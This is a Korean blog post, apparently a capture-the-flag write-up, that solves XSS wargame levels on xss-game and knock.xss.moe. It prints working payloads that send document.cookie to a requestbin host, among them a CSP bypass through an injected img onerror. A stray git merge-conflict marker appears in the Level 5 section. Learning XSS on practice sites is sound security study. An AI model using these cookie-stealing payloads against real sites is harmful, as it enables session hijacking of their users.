짠WEB투어 XSS - 2일차

By yeali | July 27, 2018

짠내투어 XSS 2일차


이전편 요약



사용자를 인증하는 방법의 하나인 ID와 PW로 인증하는 과정에 대해 알아보고 세션과 쿠키에 대해서 준비를 했어요.

그래서, 웹 애플리케이션이 사용자에 고유한 값(세션 ID)을 전달하는 과정에 대해서 알게 되었고
세션으로 웹 페이지를 넘길 때마다 ID와 PW를 입력하지 않아도 동적 웹 애플리케이션을 이용할 수 있다는 걸 알게 되었죠.

XSS의 2가지 종류에 대해서 보았는데,

첫 번째, 사용자가 입력한 값을 중간에 가로채 이를 서버 응답 소스에 삽입하는 취약점인 Reflected XSS!
두 번째, 데이터베이스에 저장하여 계속 피해를 줄 수 있는 취약점인 Persistent XSS 혹은 Stored XSS를 알게 되었다!





안녕하세요!! yeali입니다 ◝(⁰▿⁰)◜ 

지난번에 XSS 1일 차에 이어 2일 차로 돌아왔습니다!!

2일 차에는 XSS wargame 사이트를 볼 거에요!
들어가기 전에 왜 wargame 사이트에서 문제를 풀어야 할까요?

XSS는 payload가 엄청 많아요!! 여러분 한번 생각해볼까요? 몇 개일 거 같아요?

XSS cheat sheet



정리된 Cheat sheet에서는 1481개가 있네요!!

하나하나 외우는 게 불가능하겠죠? 그래서 XSS wargarm 사이트를 풀어보면서, XSS의 payload를 알아보고자 해요!




XSS 여행 2일차 계획

  • 1. 1일차 일기

    • xss-game Level 5
    • xss-game Level 6

  • 2. 동네 탐방(수천번의 노크 XSS)

    • prolog
    • stage 2 - url enconding
    • stage 4 - close tag
    • stage 7 - input focus
    • stage 10 - not script
    • stage 12 - csp




1. 1일차 일기 (feat. XSS Game 놀이공원)


테마파크 완전정복! XSS-game 나머지 문제를 풀어봅시다아아아!

마지막에 이렇게 끝냈는데 여러분 xss-game 풀어보셨나요! 풀어보셨군요!

우리 xss-game을 풀어봤잖아요! 어떤 느낌이셨나요? 보면 전반적으로 alert 창을 띄우면 되는 문제입니다.

재밌는 놀이기구였던 5번, 6번 문제만 소개해줄게요! ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ




1-1. XSS-Game Level 5





미션설명
<<<<<<< HEAD

XSS는 데이터를 올바르게 이스케이프 처리하는걸로 끝나지 않습니다.

XSS는 데이터를 올바르게 이스케이프 처리하는 거로 끝나지 않습니다.
>>>>>> 8465d13e0a0f4d36cba1c9f6fc0ef526d7f07a3d 때로는 공격자가 Dom에 요소를 주입하지 않고도 해킹할 수 있습니다.

문제를 푸는데 필요한 코드를 확인해보죠!

<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>

<a href="{{ next }}">Next >></a>



get 방식으로 하여 URL로 되어있고, next를 누르면 링크에 있는 내용이 스크립트로 전달되도록 하면 되는 문제에요!

저는 코드 안 보고 next 변수에 alert()를 넣고 “Go”를 눌렀지만 아무 반응이 없었다고 혼자 고민하고 있었다…! 바보다!

그래서 밑처럼 javascript:alert를 해서 넣으면 성공합니다아아! 2-5. stage 10 - not script 참고

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('yeali');






1-2. XSS-Game Level 6




Level 6의 원래 풀이 방법은 서버를 사용해서 푸는 거에요!

하지만 쉬운 길이 있으면 굳이 돌아가야 합니까! 서버 사용보다 쉬운 풀이 방법이 있어서 소개해드리려고 합니다.

Data url scheme이라는게 있는데,
Data URL로 data:가 접두어로 붙은 URL은 이미지와 같은 외부 데이터를 url로 표현하는 방법입니다.

그래서 data:[자료타입],[데이터]로 표현가능하죠.

https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('yeali');



풀었다~~ 풀었어~~



다 풀면 이런 화면이 나옵니다!

여행에서는 인증샷이 필수죠! 찰칵




2. 동네 탐방 (수천번의 노크)


오늘은 동네를 탐방해볼까요?

knock.xss.moe이라는 곳에서 현지인들의 생활을 구경해봐요!

knock.xss.moe는 XSS 취약점으로만 이루어진 일본에서 만든 wargame site입니다!

수천번의 노크

똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑똑

수천번의 노크라고 진짜 xss 스크립트 수천번 때리게 되는 wargame 사이트입니다! 하하




2-1. prolog


knock.xss.moe는 xss-game이랑 플래그 얻는 방식이 달라서 제가 시간을 쪼오금 투자했었는데, 님들은 투자하지 마시라고 섬세한 설명으로 모시겠습니다.

xss game는 alert 창을 띄우는 방식이었다면, knock.xss.moe는 서버의 주소를 URL 창에 넣어서 보내서 내 서버에서 flag를 확인하는 방식입니다.



http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?location=%22"여기에 내 서버 주소를 넣으면 됩니다!!"/?%22%2Bdocument.cookie


근데 여러분 서버를 가지고 있지 않거나 세팅하기 귀찮은 분도 계실거라고 생각해서 좋은 사이트 하나 알려드릴게요.

Requestbin



위의 Create a RequestBin을 클릭하면 생성이 되는데 밑의 네모 칸이 주소입니다.
그 URL을 가지고 서버 주소 자리에 넣으면 아래와 같이 flag를 확인할 수 있죠!



문제 푸는 방법을 알았어요! 그럼 이제 문제를 풀어보죠!!




2-2. Stage 2 - url encoding


2번에서는 제가 URL 인코딩을 알게 된 문제입니다!

2번 문제는 아래와 같이 get 방식으로 구현이 되어있어 q 뒤의 내용이 출력되는 기능을 가지고 있는 웹페이지입니다.



그래서 q 뒤에 document.cookie가 포함된 스크립트를 보내보았습니다!



하지만 failed csrf check!라고 뜨면서 실패가 뜬다…ㅠ

고민을 해보다 +를 url encoding하면 나오는 %2B를 넣어서 보내보았더니 성공이다!

오잉? URL enconding이란?

URL은 ASCII 문자 집합을 사용하여 인터넷을 통해서만 전송할 수 있게 만들어졌습니다.
그래서 외부의 문자를 포함할 때, ASCII 형식으로 변한이 되어야지 입력이 됩니다.

URL encoding은 외부 문자가 ASCII 형식으로 변환되는 것을 의미해요.



근데 URL encoding이 왜 사용이 되는가..?
2가지때문에 사용이 된다고 합니다!

  1. URL encoding이 사용되는 이유는 앞서 설명했듯이 URL이 ASCII로 구성되어있어서 정의되지 않은 문자열은 URL에 포함될 수 없기 때문이죠!
  2. URL 내에서 의미를 가진 문자(%,?,#)나 url에는 공백이 있을 수 없기 때문에 %20으로 변환한다든지 system에서 해석이 될 수 있는 문자(<.>)를 치환하여 야기 될 수 있는 문제점을 예방할 수 있습니다.

url에서 문제가 될 수 있는 문자들




2-3. Stage 4 - close tag


<a href='/q=XSS'>Link</a>

위는 stage 4의 페이지소스입니다.

실행되어야 하는 스크립트 위치가 태그 안이라서 실행이 되지 않습니다. 이러한 경우는 태그 밖으로 스크립트 위치를 빼줘야겠죠!



그럼 이렇게 해결을 할 수 있습니다. <a>,<textarea>,<xmp> 등등도 태그를 끝내고 스크립트를 추가해주면 됩니다.




2-4. Stage 7 - input focus


<input type="text" value="XSS">

페이지 소스를 보면 저렇게 되어있다. input 안에 q=‘내용’이 들어가게 됩니다.

그 전에처럼 아래와 같이 넣으면,

?q="><script>location.href='https://requestb.in/13kpne51?'%2Bdocument.cookie</script>
<input type="text" value=""&gt;&lt;script&gt;location.href=&#39;https://requestb.in/13kpne51?&#39;+document.cookie&lt;/script&gt;">

이렇게 됨을 확인할 수 있습니다. 그래서 &gt와 같이 html Entity로 변경되어서 이스케이프 되는 것을 확인할 수 있습니다..

w3schools html entity

그래서 기존과 같은 공격을 못 하게 되어있습니다.

그래서 <,>가 필요 없는 autofocus를 사용했습니다.



위에처럼 넣으면 input 타입 안에 autofocus로 들어가게 되는 거잖아요? 그럼 페이지가 로드될 때 자동의 저 안으로 포커스를 맞추게 하는 속성입니다. 그래서 그 안에 스크립트를 넣으면 성공하게 됩니다!




2-5. Stage 10 - not script


<frameset><frame src="XSS"></frameset>

페이지 소스는 위와 같아요!

이번에도 <,>를 사용하지 못하고, 심지어 input 창도 없다.. 이러한 경우에



이렇게 javascript:location.herf로 하면 js인걸로 판단하고 location.href를 실행하게 된다. 그래서 <script> 없이 실행을 성공!




2-6. Stage 12 - CSP


12번 문제 정말 제가 고생 많이 했던 거고 csp에 대해서 공부를 한 문제입니다.

csp가 적용되어있어서 이를 우회해야지 문제를 풀 수 있었습니다.

우선 문제를 볼까요!

<iframe src="XSS"></iframe>

이렇게 되어있는데..노크를 진짜 많이 해봤는데 안 되는 거에요…

잠시 제 뻘짓을 보실래요?

<iframe src="XSS"></iframe>
javascript:location.href=%27http://requestbin.fullcontact.com/15j27ri1?a=%27%2Bdocument.cookie%20

위는 11번 문제의 풀이다. 그래서 위의 소스를 그대로 넣었더니 이렇게 이미지 없음이 뜬다.

이미지라고 하니까 xss game의 2번문제 <img src =" " onerror="">로 푼 문제가 생각나서 onerror를 넣어보았다.

?q=qwe%22%20onerror=%22javascript:location.href=%27http://requestbin.fullcontact.com/15j27ri1?a=%27%2Bdocument.cookie

이렇게 넣으니까 안된다!! 왜 안되냐!!! 왜!!!!!

근데 headcsp가 걸려있어서 그걸 우회해야 하는 문제더라고요.

csp가 무엇이냐고여? content security policy의 약자인데요.
브라우저에 XSS와 관련된 공격을 막아주는 헤더에요.
브라우저는 기본적으로 페이지에서 요청하는 모든 코드를 다운로드하여 실행하는데, csp를 설정함으로써 브라우저에 어떠한 조건의 리소스만 실행하거나 렌더링하라고 지시를 내릴 수 있게 되는거죠!!!

그래서 이걸 듣고 눈으로 보고 싶어서 브라우저상에서 열심히 찾았죠!



근데 여기서 못찾는거더라고요…

두가지 방법이 있는데요.

root@ubuntu:/var/www/html# curl -v http://a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe/?q=XSS
*   Trying 133.130.88.37...
* Connected to a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe (133.130.88.37) port 80 (#0)
> GET /?q=XSS HTTP/1.1
> Host: a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 23 Jul 2018 12:54:26 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-XSS-Protection: 0
< Content-Security-Policy: script-src 'self' 'unsafe-inline'; frame-src 'self'
< 
* Connection #0 to host a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe left intact
<iframe src="XSS"></iframe>

이렇게 curl -v로 확인하는 방법이랑

csp evaluator사이트에서 검색하면 어떤 csp가 걸려있는지 확인할 수 있습니다.



이렇게 csp가 걸려있음을 확인할 수 있습니다.

?q=javascript:parent.document.getElementsByTagName("head")[0].innerHTML=`<img%20src=x%20onerror=%27location.href="http://requestbin.fullcontact.com/15j27ri1?a=".concat(document.cookie)%27>`

head 태그에 이미지를 추가해서 이미지 추가해서 그걸 로드하는 방식으로 이루어지게 되는데 iframe 안에 parentiframe을 불러온 부모프레임에 접근을 하는 것을 말한다.

그래서 tag 이름이 head인 것을 찾아내서 innerHTMLimg 태그 일부러 오류내서 src='x' onerror 핸들러에 XSS를 집어넣어서 성공시키면 된다. 우와! 대박




그럼 오늘은 여기서 안뇽!

to be continue…


수천번의 노크를 더 풀테야! 나는 하루살이라서 그 다음편 아직 안 썼거든!! ㅎㅎㅎㅎㅎ




comments powered by Disqus